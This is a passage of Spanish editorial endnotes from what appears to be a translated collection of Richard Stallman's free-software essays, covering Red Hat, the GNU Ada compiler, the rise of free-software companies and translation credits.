importantes.	En	 1999	 fue	 adquirida	 por	Red	Hat,	 una	 gran	 compañía	 que	 basa	 por
completo	su	modelo	de	negocio	en	el	software	libre.	(N.	del	E.)	<<
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[59]	La	 financiación	de	 la	Fuerza	Aérea	se	acabó	hace	algún	 tiempo;	el	Compilador
GNU	de	Ada	está	ahora	en	servicio,	y	su	mantenimiento	se	financia	comercialmente.
(N.	del	E.)	<<
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[60]	Desde	que	Stallman	revisó	este	artículo	por	última	vez,	hace	apenas	tres	años,	la
situación	ha	cambiado	sobremanera	y	se	han	multiplicado	las	iniciativas	comerciales,
que	 ya	 no	 son	 tan	 «modestas»	 como	 las	 que	 citaba:	 en	 torno	 al	 software	 libre	 han
surgido	cientos	de	nuevas	empresas,	hasta	el	punto	de	convertirse	en	los	dos	últimos
años	 en	 uno	 de	 los	 sectores	 más	 dinámicos	 del	 ya	 de	 por	 sí	 dinámico	 sector
informático.	Muchas	de	esas	empresas	mantienen	modelos	de	negocio	 tradicionales
basados	en	 la	prestación	de	servicios,	pero	otras	están	abriendo	nuevas	vías.	No	ha
faltado	 incluso	 la	 incursión	 de	 capital	 financiero	 y	 especulativo	 en	 empresas	 del
mundo	Linux,	 como	VA	Linux	 y	Red	Hat,	 cuya	 salida	 a	 bolsa	 fue	 espectacular	 en
ambos	casos.	[M.V.]	<<
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[61]	Se	refiere	a	las	llamadas	radios	públicas,	que	tienen	algún	parecido	con	las	radios
libres.	Para	mantenerse	 sin	necesidad	de	publicidad	y	 sin	control	mediático	 reciben
donaciones	de	sus	oyentes,	que	no	pagan	por	un	servicio	sino	por	mantener	en	antena
y	sin	dependencias	comerciales	algo	que	cualquiera	escuchará	gratis.	[M.V.]	<<
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[62]	 «Freedom	—or	 copyright?».	 Traducción	 de	 Pablo	 Rodríguez.	 Publicado	 en	 la
revista	Technology	Review	en	2000.	<<
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[63]	«Why	schools	should	use	exclusively	free	software».	Traducción	Carlos	Gradin.
<<

www.lectulandia.com	-	Página	233



[64]	La	compañía	de	tabaco	RJ	Reynolds	fue	multada	con	$1,5	millones	en	2002	por
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